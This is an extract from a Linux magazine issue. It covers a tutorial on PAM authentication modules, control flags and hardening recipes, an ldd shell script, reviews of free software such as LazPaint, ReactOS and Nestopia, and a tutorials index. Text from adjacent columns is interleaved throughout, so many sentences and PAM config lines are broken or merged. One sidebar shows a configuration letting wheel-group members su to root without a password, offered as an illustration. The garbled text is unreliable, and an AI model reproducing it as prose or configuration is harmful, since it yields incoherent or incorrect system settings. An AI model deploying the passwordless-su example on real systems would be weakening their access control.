more stacks of PAM modules to perform the but it’s really the heart of the whole thing. performs its function, and returns a
authentication tasks it needs to perform and Under control of the program’s PAM config ‘success’ or ‘failure’ status. The status values
to implement the security policy that it (or file (we’ll see an example in a moment), of the modules combine (according to rules
the system administrator) wants to libpam assembles up to four stacks of in the config file) to provide a success or
implement. modules that the application can use. The failure status for the stack as a whole.
From a system administrator’s point of four stacks are called auth, account, So the basic concept is not really that
view, PAM has two parts. The first is a set of password and session, and they refer to the hard. The devil is in the details. Let’s take a
look at a typical PAM configuration file:
“The basic concept that underpins PAM is not really auth
auth
required
required
pam_securetty.so
pam_unix.so shadow nullok
that hard. The devil is in the details.” auth required pam_nologin.so
account required pam_unix.so
configuration files in /etc/pam.d that define four classes of activity that PAM helps to password required pam_cracklib.so retry=3
how an application’s PAM stacks are to be manage. Typically, an application won’t use password required pam_unix.so shadow nullok
assembled. The config file is usually named all four stacks; it may only need the auth and use_authtok
after the application, so that (for example) session stacks, for example. session required pam_unix.so
the file for the ssh daemon would be Let’s suppose you’re a program that This particular file assembles all four
/etc/pam.d/sshd. The second part is a wants to perform authentication. Maybe stacks – auth, account, password and
collection of PAM modules that are
implemented as dynamically linked libraries. Disable direct root login
Red Hat puts them in /lib64/security,
though different distros choose different Disabling direct root logins (so that you have to log terminals:
in as a regular user then use su to switch to root) # echo “none” > /etc/securetty
directories. The range of tasks that these
is a great way to improve security. You can do Note that a non-existent securetty file has an
modules perform is quite diverse, ranging this by adding the pam_securetty module into the entirely different effect than an empty one. If the
from doing traditional Unix-style ‘auth’ stack. No, I haven’t mis-spelled it; ‘securetty’ file doesn’t exist, root can log in anywhere. If the
authentication (pam_unix) to enforcing means ‘secure terminal’, and it harks back to the file is empty, root can log in nowhere.
password strength (pam_cracklib) and days when people logged in on text-based console Next, add an entry near the top of the auth stack
devices, some of which were secure (behind a in /etc/pam.d/system-auth, like this:
locking an account after too many failed
locked door). auth required pam_securetty.so
logins (pam_tally2). The PAM modules table The pam_securetty module consults the file / With this change in place you should find that
on the facing page provides a longer list, but etc/securetty to find out which terminals are root can no longer log in on a text console. Note
it is by no means complete. The modules deemed secure. It will fail if root tries to log in on that, to prevent root logging in on the graphical
listed in the table are relatively mainstream a terminal not listed here. In particular, if the file desktop, you will probably need to make similar
exists (but is empty) root isn’t allowed to log in changes to the PAM stacks for the display
but they may not all be installed by default
anywhere. Start by creating an empty list of secure manager, such as gdm.
on your distro.
64 www.linuxvoice.com
CORETECHNOLOGY
Defeat brute-force login attempts A sampling of PAM modules
The module pam_tally2 can be used to count
Module What it does
failed login attempts and to lock accounts for
a specified length of time if there are too many. pam_unix Traditional password authentication
Try adding a line like this to the auth stack in pam_cracklib Checks password strength against dictionary words
system-auth: pam_passwdqc Checks password strength based on length and character classes
auth required pam_tally2.so deny=3 even_
deny_root unlock_time=600 pam_securetty Limits root login to secure terminals
This will lock a user out for 600 seconds after pam_tally2 Counts failed logins, denies access if too many attempts fail
three failed login attempts. Pick a user account pam_deny Denies access. Used as a ‘backstop’ at the bottom of a stack
you know the password for and deliberately
pam_time Implements time-of-day and day-of-week login restrictions
enter the wrong password three times in
succession. Subsequent login attempts should pam_shells Restricts access to the shells listed in /etc/shells
then fail even if you use the correct password. pam_timestamp Enables a user to authenticate based on a recent successful authentication
From a command prompt you can query the
pam_env Sets environment variables when a user logs in
failed login count with the command:
# pam_tally2 --user bob pam_abl Maintains a blacklist of hosts making repeated failed logins
where bob is the account name, and reset the pam_limits Sets limits on resource usage during a login session
count back to zero with: pam_rootok Allows authentication to succeed if the user is root
# pam_tally2 --user bob --reset
pam_mkhomedir Creates a user’s home directory if it doesn’t exist
session. The auth stack has three modules;
the password stack has two; the account succeed for the stack as a whole to auth include system-auth
and session stacks each have just one. So succeed. The other control flags (requisite, Other distros do things slightly differently.
to perform authentication, for example, the sufficient and optional) are described on On Ubuntu there are four of these “common”
program first calls pam_securetty. This page 66 and I’ll re-visit them later. You’ll also files (common-auth, common-account,
module can restrict root access to specific notice that some of these modules have common-session and common-password)
‘secure’ terminals. Then it calls pam_unix. parameters passed to them. For example in and they are included by lines of the form:
This is an important PAM module; it handles the password stack, pam_cracklib has the @include common-auth
the traditional authentication against a local parameter retry=3. Some of the modules “Factoring out” pieces of the PAM stack in
account database. Finally, pam_login is even have their own configuration files. this way not only makes the individual PAM
invoked to prevent non-root logins if the file config files shorter, it also means that you
/etc/nologin exists. The nologin file is Factoring out can change the login policy for most
usually created during the shutdown It’s common for the same pieces of the PAM PAM-aware applications just by editing the
sequence; its purpose is to stop regular stack to appear in the configuration of one common file. As an example, Red Hat
users logging in during the shutdown period. several applications. To make this easier, has a little tool called authconfig-tui, which
The second field in the PAM config file there’s an include control flag that brings in you can use to enable authorisation against
specifies the control flag, and you will notice stack definitions from an external file. On a LDAP, Kerberos, or Active Directory
that all of these modules are marked as Red Hat-style system the most widely used accounts. The only PAM file that this tool
required. This means that they all have to example of this is the file /etc/pam.d/ needs to adjust is system-auth. There are
system-auth. You’ll find this file included in even some applications whose PAM
the PAM stacks of most applications configurations do nothing except include the
Preventing non-root reboots
through a line like this: relevant stacks from system-auth.
By default, my CentOS 6.5 system allows a non-
root user to halt or reboot the system, using the
reboot command. This is probably acceptable
for a single-user desktop machine but definitely
not a good idea on a server. We can modify this
policy by changing the PAM configuration.
Here’s the default PAM auth stack for the
reboot program, from /etc/pam.d/reboot:
auth sufficient pam_rootok.so
auth required pam_console.so
which says you can go ahead if you’re root, or if
you’re logged in on the console.
Change the auth stack in /etc/pam.d/reboot
as follows:
auth sufficient pam_rootok.so
auth required pam_deny.so
Now, if we’re root we’re fine, but if not, we’re
doomed. With this change in place, attempts to
reboot as a non-root user should fail:
$ reboot
Like several other technologies we now take for granted in Linux, PAM originated with Sun
need to be root
Microsystems. It dates from 1995, and was soon adopted (1996) into Red Hat Linux.
www.linuxvoice.com 65
CORETECHNOLOGY
Restrict su to members of the wheel group
By default, anyone can use su to switch to root if auth include system-auth You should now find that the user chris can su to
they know the root password. You can tighten up on which says that if you’re root, you’re in, otherwise root, but a user who is not a member of the wheel
this using the pam_wheel module, which tests that you have to go through the standard system-auth group cannot.
you’re a member of the wheel group (or some other stack. You can adjust this like so: To illustrate the importance of the control flags,
specified group). auth sufficient pam_rootok.so try changing the auth stack of su to look like this:
As an aside, the use of the “wheel” group for auth required pam_wheel.so use_uid auth sufficient pam_rootok.so
privileged users goes back to the early days of Unix, auth include system-auth auth sufficient pam_wheel.so trust use_uid
but I have never found a satisfactory explanation of which adds the requirement that we belong to the auth include system-auth
why it’s called “wheel”. The default auth stack for wheel group. To check this out you will need to add The stack now says that if you’re a member of
su looks like this: at least one account to this group, for example: the wheel group you can su to root without needing
auth sufficient pam_rootok.so # usermod -G wheel chris to authenticate at all. Try it!
Wait! There’s more!
It turns out there’s more to PAM
configuration than simply assembling PAM-aware program (eg login)
stacks of modules. For a start, many PAM
modules can be passed parameters
(specified within the PAM config file). Let’s libpam /etc/pam.d/login
look at a couple of examples:
The pam_cracklib module (which does
auth account password session
password strength checking and is usually
found in the password stack) accepts a
parameter like minlen=9 that specifies the
minimum password length; it also accepts
retry=3, which says to give the user three
attempts to enter an acceptable password.
So you might see a line like this:
password required pam_cracklib retry=3
minlength=9 Stacks of PAM
Going a step further, some PAM modules modules
have their own configuration files. For (in/lib64/security)
example, pam_time (which implements
time-of-day access control) reads its
configuration from /etc/security/time.conf, PAM-aware applications assemble stacks of modules to implement their security policy, under
where you might find rules of breathtaking control of a configuration file in /etc/pam.d.
obscurity, such as this:
login ; * ; !fred ; MoTuWe0800-2000 little thin on the ground, but it’s a very great to ask why you should care. Well, I’d wager
By the way, although pam_time plays its deal better now than it was in the early days that many system administrators actually
part in determining whether a user is of PAM. don’t care – they leave their default PAM
allowed to log in, it is not concerned with configurations well alone. But there may be
authenticating the user, and so it belongs in Why bother? times when you need to bring extra PAM
the account stack, not the auth stack. It’s when you get down into the details of modules into play to implement pieces of
In most cases the PAM modules have PAM – the control flags and the large range your security policy, such as “users are only
man pages that document these of modules with their parameters and config allowed to log in between 10am and 4pm on
parameters. (The command apropos pam files – that you start to get a feel for its
may help get you a list of these.) Sometimes complexity. And since Linux distributions
the individual config files have man pages invariably include working PAM
too. In some cases the documentation is a configurations out of the box it’s reasonable
PAM control flags
Control flag What it means
sufficient If the module succeeds, the stack succeeds and no further modules are called
required If the module fails, the stack will fail, but remaining modules will be called
requisite If the module fails, the stack will fail; no more modules are called
optional Success or failure of the module is ignored
On Ubuntu there are four of the “common” files
include Include a piece of stack defined in a separate file
(common-auth, common-account, common-
session and common-password).
66 www.linuxvoice.com
CORETECHNOLOGY
Mondays and Tuesdays” or “passwords
must be a minimum of 10 characters with PAM’s four management classes
three character classes”. Or you might need
Stack What it’s for
to augment your login process to include
auth Verifies the credentials of a user (logging in)
user accounts stored in a Windows Active
Directory (via the winbind daemon). Or account Account management (eg account expiry or time-of-day restrictions)
maybe you’re plagued by brute-force login password Password management (changing your password)
attempts from a specific host and would like session Session management (anything else you want to do when a user logs in)
to block them. There are PAM modules to do
all of these things.
We’ll take the simple syntax first – it uses directory) rather than for a yes/no decision.
Getting to grips with the control flags the four keywords sufficient, required, There’s a more complex syntax that can be
I’ve been trying hard to avoid a proper requisite and optional. Recall that each PAM used for the control flags, which gives you
discussion of the control flags in PAM module returns a ‘success’ or ‘failure’ status. finer grain control over querying the return
because, frankly, they are painful and I don’t The control flags specify how the status status of a PAM module, and more options
like to inflict pain. But they have a major returned by the individual modules in a stack on deciding what to do in each case. This
impact in the way PAM stacks work and we contributes to the success or failure of the form of control flag consists of a series of
can’t really ignore them. There are two styles stack as a whole. Consider a stack such as status=action pairs, in square brackets.
of syntax for defining the control flags – a the example we showed earlier, in which all Here’s an example:
simple one and a more complicated one. modules in the stack are ‘required’. Then all auth [user_unknown=ignore success=ok default=bad]
modules must succeed for the stack to pam_securetty.so
succeed. This seems to me the most This example is being used to distinguish
Don’t leave home without the key
straightforward and obvious way for the case where the username is unknown
A word of warning if you’re playing around with modules to combine. from the case where the module’s ‘secure
your PAM set-up. It is extremely easy to create The required flag is similar, but, if a tty’ test fails, and to react differently in the
a configuration which won’t let you log in at module fails, the stack is immediately two cases. The return status values are not
all. To reduce the risk of locking yourself out abandoned – later modules are not invoked. well documented. These extensions, which
of your house and ending up doing a rescue
boot, I strongly recommend that you keep a
The sufficient flag does what it says on the almost turn PAM configuration into a
root login open (maybe on a text-based console tin – if the module succeeds, the stack will programming language in its own right, are
terminal or maybe an ssh login from another succeed and later modules are not called. difficult to get your head round, and (I’m
machine) until you’re confident that your new Finally, the optional flag means that the pleased to say) don’t seem to be very
configuration works. You can test PAM (mostly) return status of the module is ignored. This common in modern PAM configurations.
by logging in on a console terminal or by doing
an ssh login to localhost. Alternatively, test
flag is often found within the session stack, So there you have it. Next time the
your configuration on a virtual machine with a where modules are called for their side conversation in the pub turns to PAM, you
snapshot you can drop back to. effect (such as setting environment can smile enigmatically and say “ah yes, I
variables or creating an initial home know PAM well!”
Command of the month: ldd
The ldd command answers the question #!/bin/bash like this:
“Which libraries does this application use?”. # Script “whatuses” ./whatuses libwrap
Here’s a simple example: # Finds which executables are linked against a given /usr/bin/empathy uses libwrap
# ldd /bin/bash library /usr/bin/gnome-shell uses libwrap
linux-vdso.so.1 => /usr/bin/pulseaudio uses libwrap
libtinfo.so.5 => /lib64/libtinfo.so.5 lib=$1 /usr/bin/vinagre uses libwrap
libdl.so.2 => /lib64/libdl.so.2 for x in /usr/bin/* # Better to traverse entire $PATH I’ve edited most of the output for brevity.
libc.so.6 => /lib64/libc.so.6 do Or we can ask “Which apps are PAM-aware?”
/lib64/ld-linux-x86-64.so.2 if ldd $x 2> /dev/null | grep $lib > /dev/null 2>&1 by looking for linkage against libpam:
It’s not at first sight the most exciting of then # ./whatuses libpam
commands, but there are some quirks here echo $x uses $lib /usr/bin/at uses libpam
that you can uncover, expecially if you wrap fi /usr/bin/login uses libpam
a little shell scripting around it to answer the done /usr/bin/passwd uses libpam
opposite question: “Which programs are Here are a couple of examples. First, /usr/bin/su uses libpam
linked against this library?” there’s an access control mechanism called /usr/bin/vncpasswd uses libpam
Here’s the script I came up with – it could ‘TCP wrappers’, which is implemented by the Again, the output is trimmed – Linux
be spruced up in several ways but it does library libwrap.so. So we can answer the dependencies can get complicated, but ldd
the basic job: question “Which apps use TCP wrappers?” can help make sense of them!
www.linuxvoice.com 67
FOSSPICKS
FOSSpicks Sparkling gems and new
releases from the world of
Free and Open Source Software
Mike Saunders has spent a decade mining the internet for free
software treasures. Here’s the result of his latest haul…
Image editor
LazPaint 6.2
L
azPaint is an image editor Like Gimp, LazPaint is a bitmap
somewhat akin to Paint.NET image editor with various tools for
on Windows. Its name stems creating shapes, transformation
from the IDE used to build the effects (such as rotation and
program – Lazarus – which lets resampling) and multiple-level
developers write applications in undo/redo. Extra dialogs for
Object Pascal. Unusually, Lazarus managing layers, colours and
can build the same program using additional tools are available via the
different graphical toolkits, so in the View menu – and from here, you
downloads section for LazPaint can also enable a grid that’s
(hosted on SourceForge) you can displayed over the image when
find pre-compiled binaries using Gtk zoomed in. This is particularly
and Qt. This helps the app to fit in useful if you’re making per-pixel
better with your desktop, so it won’t edits to an image, as is common in
look ugly in Gnome, Xfce or KDE. video game sprite work.
We used the Gtk version, and our Also like Gimp, LazPaint has a
main gripe with the interface is the bunch of filters including blurs, LazPaint can import 3D models, such as this sinister Mario head.
tiny toolbar buttons and other sharpen, emboss and contour. The
controls. On a high-resolution range isn’t as extensive as Gimp’s, and some of them threw up bizarre
display, they’re almost comically error messages in our testing
small and hard to make out. Still,
they all have decent tooltips, so
“Like Gimp, LazPaint is a bitmap (“Access violation” anyone?) but on
the whole they work well. It’s also
after a few minutes of hovering the image editor with various tools possible to render various textures
mouse and making mental notes,
the interface becomes usable.
for creating shapes and effects.” from inside the program, and even
import 3D models. Along with its
native .lzp format, LazPaint can also
save images to PNG, JPEG, TGA,
TIFF, BMP and other formats.
In all, LazPaint isn’t as feature-
packed as Gimp, which might lead
many to ask: what’s the point of it?
Well, if you’re happy with Gimp’s
interface, fair enough. But we know
that a lot of people don’t like how
Gimp looks and works, and LazPaint
provides a great deal of the same
functionality with a simpler (and
arguably more approachable)
design. So we’re glad there’s some
more variety in our choice of Linux
The teensy-tiny toolbar
is really fiddly to work image editings.
with at first, but at least
PROJECT WEBSITE
the buttons have
www.facebook.com/LazPaint
tooltips.
68 www.linuxvoice.com
FOSSPICKS
Operating system
ReactOS 0.3.16
F
or all its successes, Free albeit with plenty of rough edges
Software is especially good and various missing pieces.
at cloning existing projects. Most of the standard Windows
This doesn’t mean there’s a lack of tools are available though: a
imagination – just that it’s often command line prompt, text editor,
better to re-use an existing design Paint-like program, Control Panel
rather than re-invent the wheel and so forth. And while many of
every time. Richard Stallman took these have been created from
this exact approach when creating scratch for ReactOS, a great deal of
GNU, which is famously “not Unix” code has been taking from the Wine
but based very closely on the project, which helps to cut down on
design and structure of that OS. duplication of effort.
Now, ReactOS is a Free Software
In many parts,
clone of Windows, aiming to be How’s your luck? ReactOS’s interface is a
In the last couple of years, the
compatible with that OS’s So, the big question is: how good is pixel-perfect clone of ReactOS team has tried to boost
applications and hardware drivers. the compatibility? It’s a mixed bag, Windows 9x/2000, interest and contribution from the
It’s debatable whether Windows is a and programs that don’t run well on which could get wider open source community with
sensible design to copy, but in any Wine (see https://appdb.winehq. Microsoft grumbling fundraising projects. Ultimately, we
case, the goal is that we’ll all have a org) tend to break on ReactOS too, one day. think it would progress more
free (as in freedom and beer) OS on in our experience. You’ll have more quickly with some solid commercial
which to run legacy Windows luck with early-2000s applications, backing – but we can understand
applications. ReactOS has been in as support for the Windows API of that many companies don’t want to
development since the late 90s, and that time is more complete – many touch it with a 50ft barge pole, in
we take a peek at it every few years recent programs simply won’t start case Microsoft tries to stomp it
to see how it’s shaping up. at all. Still, ReactOS isn’t short of down with legal action.
Helpfully, the development team software, thanks to an Application Nonetheless, ReactOS is an
makes it available in various Manager that downloads (mostly impressive effort and deserves
formats: a live CD image, an open source) Windows programs more fame. Hopefully it will reach a
installation CD image, and virtual from the web and installs them. So level of sufficient stability and
hard drive images for VMware and you can get Firefox, AbiWord, chat completeness to run most older
VirtualBox. We took the latter for a clients, various games and other Windows XP programs without
spin, which worked fairly well, system tools with just a few clicks. problems, to help those who don’t
although it booted into a terrible want to “upgrade” to Windows
16-colour mode that looked
completely pants. A quick tweak in
“ReactOS isn’t short of software, 7/8/10 and can’t switch to Linux for
whatever reasons.
the Control Panel soon sorted that thanks to Application Manager that
out, however. By and large, ReactOS
looks and feels like Windows 2000,
downloads programs from the web.” PROJECT WEBSITE
www.reactos.com
How it works: Adding applications
1 Menu 2 Searching 3 Install
ReactOS isn’t supplied with a web browser, Go into the Internet & Network category on the After you’ve selected a version, click Install in
so go to Start > Programs > ReactOS Applications left. Various versions of Firefox are available – in our the top-left and the program will be retrieved from
Manager to bring up the software exploration tool. experience, the older ones tend to work more reliably. the web. You’ll then find it in the Start menu.
www.linuxvoice.com 69
FOSSPICKS
Window manager
Window Maker 0.95.6
S
teve Jobs will be extra graphical fluff including
remembered for many themes and gradients. This window
things: shiny iGadgets by manager hasn’t seen a great deal of
most people, and a purveyor of activity in recent years, but given
walled garden “digital prisons” by that it was one of our favourites in
some in the Free Software camp. the early 2000s, we’re glad to see
But one of Jobs’s lesser known it’s still receiving minor updates.
creations is Next, a computer Window Maker is all about the
company he built after being dock in the top-right corner. Try
booted out of Apple. Next sold right-clicking on the desktop to
tremendously powerful (and equally bring up a program menu, launch
Window Maker is highly
expensive at $9,999) workstation something, and then drag its icon Window Maker is fast, fluid and
customisable, and easy
machines that never achieved (usually found in the bottom-left of to tweak thanks to the attractive, providing a genuinely
widespread popularity, but left their the screen) onto the dock. This will supplied config tool. fresh approach to the desktop. It’s
mark on the industry. The first ever save it as a launcher for later. You way less demanding on the RAM
web browser was written on a Next can slide the dock around by banks than the big desktops such
box, for instance. clicking and dragging on the top as KDE and Gnome, but is still more
Anyway, the Next operating icon, and change launch settings approachable and easy to
system had an attractive and novel for the icons via right-click context customise than the ultra-minimal
interface that’s significantly menus. A configuration tool is window managers. We hope it
different to the usual taskbar-plus- provided for setting up the window stays around for years to come.
program menu approach we’re all manager – so you can customise it
familiar with. Window Maker apes without having to manually edit PROJECT WEBSITE
www.windowmaker.org
this very closely, while providing config files.
Trimmed-down systemd alternative
uselessd 2
D
espite the fact that Systemd resource limits – but that’s it. Unlike
has been adopted by almost Systemd, Uselessd won’t keep
every major distro, internet growing and taking over other parts
debates are still raging about it. of the core system, such as logins
Proponents say it simplifies and and network management.
streamlines the Linux boot process, There are some other changes
providing extra features for process too. Uselessd doesn’t use the
isolation and logging. Conversely, controversial Journald system by
critics say it violates long-time Unix default, instead logging to plain text
principles and it’s swallowing up too files in the usual Unix way. Yes,
much functionality that should be some Journald supporters say that
left in other components. the binary format is actually better, Like much of the project, Uselessd’s logo mocks the original
Uselessd, which could be as much more metadata is stored systemd, here implying that the latter includes the kitchen sink.
described as “useless” or the and you can perform complex
daemon that “uses less” according searches without a zillion grep Uselessd aims to be more portable,
to the developer, is a fork of commands and regular working with other C libraries than
Systemd that aims to bring it back expressions. But many still prefer just Glibc. The goal is to purge
to basics. The idea is that Systemd the plain text syslog. In addition, Systemd of “GNUisms” – in other
is actually good for some things words, things that lock it deeply into
– namely booting the system,
starting services, managing
“Uselessd is a fork of Systemd that the GNU/Linux ecosystem.
dependencies between them and aims to bring it back to basics.” PROJECT WEBSITE
http://uselessd.darknedgy.net
making sure they don’t exceed their
70 www.linuxvoice.com
FOSSPICKS
Nintendo Entertainment System emulator
Nestopia 1.46.1
T
here are two types of fanatics, it’s vital for delivering the
console emulator user: most realistic emulation. But this
those who just like to comes at a cost – Nestopia
indulge in nostalgia for a moment, consistently used 30% of our CPU
and hardcore players who demand (emulating Super Mario Bros 3),
that everything is exactly like the which is a fair chunk on a 2.5GHz
original – no exceptions. Nestopia is Core i5 machine.
geared towards the latter group of Outside of this focus on
users, with an intense focus on accuracy, Nestopia is a fine all-round
emulating the NES hardware as emulator too. It’s easy to configure
accurately as possible. You may input devices and video options,
have played other NES emulators while save states are also
With some tweaks to
before, and not noticed anything supported. You can even record Cheats are supported, using
the video output
odd, but some emulators take gameplay in NSV format, and settings, you can create Game Genie and Pro Action Rocky
barely-noticeable shortcuts to convert it to a more mainstream the lovely old fuzzy CRT codes, and there’s an impressive
improve performance. format using external tools. This is TV effect. range of options for configuring the
Nestopia, however, strives to be great if you’re rather hot at a certain video output. The defaults are fine
“cycle accurate”; in other words, game, and want to upload your for regular NES emulation, but you
with every emulated 6502 CPU skills to YouTube. can also smooth out jaggedness
cycle, it emulates the activity of all between pixels using filters – try
the other hardware components, to 2xSal or HqX to see how it looks.
keep the virtual NES running in “Nestopia aims to provide ‘cycle
perfect sync. Most of us wouldn’t
notice this, but for some NES
accurate’ NES emulation.” PROJECT WEBSITE
https://github.com/rdanbrook/nestopia
Vim status bar upgrade
Vim-airline
S
ome people are put off from install it manually by copying its
learning Vim because of its files into .vim in your home
horrendously steep learning directory. Because we were already
curve, which is a shame, because using Pathogen, we just needed
it’s a fantastic editor when you’ve to enter:
mastered it. Others have tried git clone https://github.com/bling/
battling through Vimtutor but still vim-airline ~/.vim/bundle/vim-airline
found the editor horrendously bare After starting Vim, however, we
and terse – like it doesn’t even try to saw the new status line but it didn’t
make you feel welcome. Yes, Vim have any colour (in Xfce-Terminal). If
out-of-the-box isn’t very pleasant, you have a similar problem, add this
Various Airline themes
but once you’ve added the ruler, to the start of your .vimrc: Airline shows your current mode
in action. Solarized
status line, syntax highlighting, line set t_Co=256 works well with the Vim (and changes colour depending on
numbers, highlighted searches and Now you should see Airline in all colour scheme of the the mode), the file you’re editing, its
other features, it quickly becomes its glory. The default theme is rather same name. encoding, along with your position
more livable. garish and might not work well with in the file (line, column and
Vim-airline is a plugin that goes a your colour scheme, so to fix this, percentage). If you’re using tabs,
step further, replacing the stock go into ~/.vim/bundle/vim-airline/ you can also spruce up your tab bar
status line with one that’s much autoload/airline/themes/ and take by adding this to your .vimrc:
prettier and more informative. You a look around. To activate the let g:airline#extensions#tabline#enabled = 1
can install it using a variety of Vim theme ‘powerlineish’, for instance,
plugin managers – such as add this to your .vimrc: PROJECT WEBSITE
https://github.com/bling/vim-airline
Pathogen, Vundle and VAM – or let g:airline_theme = ‘powerlineish’
www.linuxvoice.com 71
FOSSPICKS
Diary editor
Almanah 0.11.0
D
ear diary, today I spent After starting the app, you’re
several hours trying to presented with an empty entry for
compile programs from today. The single button in the
source code, frequently coming up top-left provides some basic
against missing dependencies, formatting facilities – bold, italic
compilation errors and segfaults. and underline – but there’s no undo
Just when I thought one program or redo for text editing operations,
had built correctly, I started it and annoyingly. Next to the formatting
received around 3,000 lines of button is a date; click that and you
Python error messages before the can jump to other diary entries (if
Don’t want the world to
whole thing crashed out you’ve written them). There’s also a text format, with each day stored in
see your heart-
spectacularly. Why, diary, does it star button that you can use to pourings? Encrypt your a separate file (using YYYY-MM-DD
have to be this way? Why can’t mark certain diary entries as database using your filenames), or print it out.
programs be nice and easy to especially important. PGP key. Of course, if your diary contains
install, like Almanah? To help organise diary entries, plenty of juicy secrets you’ll want to
Yes, this is a diary editing you can apply tags to them, and keep it safe: to help with this,
program – essentially a custom even attach links to files and web Alamanah can encrypt it using your
text editor with journal-keeping- addresses via the cog menu. It’s PGP key. Click the Almanah Diary
related features. To build it you possible to export the diary in plain menu and then Preferences to set
need libsqlite3-dev, libcryptui-dev it up.
and libgpgme11-dev. With those in
place, installing it was a cinch with “Almanah can encrypt your diary PROJECT WEBSITE
the ./configure, make and make
install (as root) procedure.
entries using your PGP key.” https://wiki.gnome.org/Apps/
Almanah_Diary
Web browser
QupZilla 1.8.0
Q
upZilla is a Qt-based browser doesn’t try to chase Chrome in every
using WebKit as its direction. In terms of memory
rendering engine, designed consumption, it was on a par with
to provide a good out-of-the-box Firefox in our testing, and slightly
experience without the need for lighter with many tabs open.
extra plugins and extensions. QupZilla is supplied with a gaggle
To build it from the source code, of useful extras, such as an advert
you’ll need development libraries for blocker. This uses the EasyList from
Qt (at least version 4.7) and Adblock Plus – so it’s very effective.
OpenSSL installed. Then run qmake There’s also a combined history,
followed by make, and if it compiles bookmarks and RSS view, which
QupZilla is bundled with
successfully, run make install as can be brought up with Ctrl+Shift+H, (DNT) header. The latter is a bit
a handful of extensions,
root to place it in your filesystem. and having these things together in including the ever- controversial though: if all browsers
Then you can start it by just one place works surprisingly well. useful GreaseMonkey. simply enable DNT by default, many
entering qupzilla. Another handy feature is the ability users won’t hear about it and all
Interface-wise, it’s pretty standard to take a screenshot of an entire websites will just ignore it. But if
fare; there’s nothing especially web page, and save it in various users are told about the feature and
original that leaps out at you, and formats – useful if you want to turn it on themselves, they’ll expect
the speed dial-type interface on show a web developer where better conformity from sites. At
new tabs has been done before. something is broken. least, that’s the idea…
Ex-Firefox users who were miffed by By default, QupZilla uses
PROJECT WEBSITE
the Australis UI revamp will be DuckDuckGo for web searches, and
www.qupzilla.com
happy with QupZilla’s layout – it also enables the Do Not Track
72 www.linuxvoice.com
FOSSPICKS
FOSSPICKS Brain Relaxers
https://launchpad.net/pybik/
Space shooting/racing larks
Galaxy Forces 1.82
G
alaxy Forces is essentially satisfaction as you cruise gracefully
a souped-up version of around a level, avoiding obstacles
Thrust, a 1986 classic that with pixel-perfect precision.
appeared on pretty much every Galaxy Forces has 50 levels; the
8-bit home computer. And it’s all first bunch are purely for network-
about control here: you move a based multiplayer combat games,
spaceship around by hitting the while the others can also be played
cursor keys to rotate it, and up to alone. These latter levels involve
blast your rear thruster. racing around a course (trying to
However, your ship doesn’t beat the best times, as listed on the
simply fly in the direction it’s game’s website) or carrying cargo
pointing, due to gravity and in missions. So there’s plenty to do, This might look simple to navigate, but when your craft has so
momentum, so you have to plan and while the game selection much momentum it’s hellishly difficult.
your movements in advance (or interface is incredibly clunky and
perform some nifty rotate-and- the music is annoyingly repetitive, have made available a pre-
thrust manoeuvres to slow the gameplay itself has been compiled binary package, with
yourself down). It takes a while to well-crafted. executables for both 32-bit and
get the hang of, and you’ll find Note that you need to connect to 64-bit machines.
yourself crashing into the walls at IP address 127.0.0.1 (ie your local
first. But don’t give up – once machine) to start the game, and
PROJECT WEBSITE
you’ve mastered the controls, then click the New button to choose www.galaxy-forces.com
you’ll be wallowing in self- a level. Helpfully, the developers
Chess game
Gambit 1.0
R
unning untrusted scripts You’re thrown straight into a
from the internet, game, controlling the white pieces,
especially when they ask on a difficulty level of 5 (out of 5).
you to enter your user or root We’re not skilled enough in chess to
password, is a bad idea. Down judge exactly how challenging this
this path lie Windows-esque level is, but we’d rather Gambit
levels of madness. However, it’s defaulted to something in the
the simplest way to get Gambit middle – or at least prompt the
up and running: no distro-specific player before the game starts. From
packages were available at the there, it’s like most other chess
time of writing, so the developer games, where you click and drag
Gambit’s difficulty level 1 isn’t hard to beat – even with our
recommends you grab gambit- pieces to make your move, and the limited skills, we soon snaffled the CPU’s queen.
autobuild.sh from the website, computer thinks and responds.
make it executable, and run it. Various colour schemes are
And it works – the script grabbed available for the board, along with storing chess matches. You can
dependencies, retrieved the animations as the pieces move. even find archives of PGN files on
source code, built it, and placed Excellently, Gambit supports saving the net for classic battles
the resulting program in Gambit and loading games in the Portable between famous players.
in the home directory. So to play, Game Notation (PGN) format,
you just need to run which has been around for decades PROJECT WEBSITE
http://gambitchess.sourceforge.net
./gambitchess inside it. and is the de facto standard for
www.linuxvoice.com 73
TUTORIALS INTRO
TUTORIALS
Dip your toe into a pool full of Linux knowledge with eight
tutorials lovingly crafted to expand your Linux consciousness
In this issue…
76 78 82
Ben Everard
Has been busy exploiting Shellshock for fun
and profit.
Chatting on Tox Twitterbot Latex
I
t’s been a bad few months for Want to chat online without Send 140-character Valentine Sinitsyn reveals
security on Linux systems. First we being spied on? So does messages across the the majesty of Latex, a
had Heartbleed and now we’ve got Ben Everard, so he protects internet using Twitter powerful text layout engine
Shellshock. If I were a betting man, I’d himself with the latest and Python. Les Pounder for creating beautiful pages
put some money on another major encrypted chat system. reveals how. with minimal fuss.
vulnerability before the end of the year.
But don’t worry. It’s not time to panic
just yet. There’s no fatal flaw in the
86 90 92
open source model. These bugs don’t
refute the premise that open source
software can be better than proprietary
software. However, there is now a huge
amount of potentially vulnerable code
that hasn’t been heavily audited for
security vulnerabilities. Now that
security researchers can see that
Open Media Vault Shellshock Mailserver pt2
there’s a huge amount of publicity Linux is built on the Learn to exploit the John Lane shows you
awaiting the next vulnerability, they’re concept of sharing, so vulnerability du jour with how to set up filtering on
going to be targeting Linux systems Mayank Shama takes a look Ben Everard‘s guide to the a mail server to keep out
more than ever. at a NAS distro that helps Bash bug that almost broke spam and viruses using
This is a good thing. It means that you do just that. the internet. SpamAssassin and ClamAV.
code that’s been floating around for
decades with few people looking at it is
finally getting some attention. PROGRAMMING
Companies that rely on this code are
realising that they can’t view open Fractals Testing David Wheeler
source as a zero-cost option and that 96 Creating beautiful code 104 Proper testing is one of the 106 The concepts that we use
they need to contribute to development normally means well most important parts of every day weren’t always
written, clear, concise code, but it writing software. However, it’s also common knowledge. All of them
if they want quality software.
can also mean code that creates one of the least exciting. A good were revolutionary at some point,
Hopefully, this will mean that there’s a beautiful images. In a perfect testing framework can make all and it was in 1949, when working
bit more money for the maintainers of world, it means both, and that’s the difference, so we introduce on the EDSAC computer in
such tools, and more money means what we’re striving for in this PyUnittest. This module helps you Cambridge, that David Wheeler
more developers, more testing and introduction to Python – you can create, organise and run your tests solidified the concept of the
draw fractals even if you’ve never so you need never release buggy subroutine. Programmers
ultimately more reliable software.
